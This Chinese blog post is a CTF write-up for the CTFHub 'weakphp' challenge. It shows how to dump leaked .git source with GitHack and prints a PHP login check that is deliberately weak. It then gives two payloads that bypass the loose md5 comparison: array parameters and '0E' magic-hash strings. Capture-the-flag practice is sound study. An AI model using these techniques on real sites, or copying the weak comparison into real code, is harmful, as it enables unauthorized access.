• CTFHub_2017赛客夏令营Webweakphp(git泄露、MD5绕过)


    进入场景,显示如下

    查看writeup,发现本题是.git源码泄露(很多题目这个git目录都是禁止访问,我也不知道大佬怎么知道是.git源码泄露的)

    要获取泄露的源码,可以使用 GitHack 工具。GitHack 是一个 .git 泄露利用脚本,通过泄露的 .git 文件夹下的文件重建还原工程源代码。在 cmd 命令下键入下面的命令,脚本就会把存在 Git 泄露的源码全部下载下来。

    GitHack.py http://xxx.com/.git/
    

    源码如下

    <?php
    require_once "flag.php";
    if (!isset($_GET['user']) && !isset($_GET['pass'])) {
        header("Location: index.php?user=1&pass=2");
    }
    
    $user = $_GET['user'];
    $pass = $_GET['pass'];
    if ((md5($user) == md5($pass)) and ($user != $pass)){
        echo $flag;
    } else {
        echo "nonono!";
    }
    ?>

    审计源码,发现本题需要user和pass不相等但是md5值相等。而MD5比较时采用了==弱类型比较。

    方式1 数组绕过

    payload

    /index.php?user[]=1&pass[]=2
    

    方式2 MD5绕过

    PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。

    以下值在md5加密后以0E开头:

    QNKCDZO
    240610708
    s878926199a
    s155964671a
    s214587387a
    s214587387a

    payload

    /index.php?user=QNKCDZO&pass=240610708
  • 相关阅读:
    Selenium上传文件方法总结
    Maven安装配置
    selenium 3+java 配置全
    使用Eclipse创建Maven项目
    maven 学习
    解决Tomcatt下连接数据库的classNoFount问题
    Cookie的使用
    登录验证
    Servlet概述
    计算机科学学院静态网页
  • 原文地址:https://www.cnblogs.com/zhengna/p/15918148.html
Copyright © 2020-2023  润新知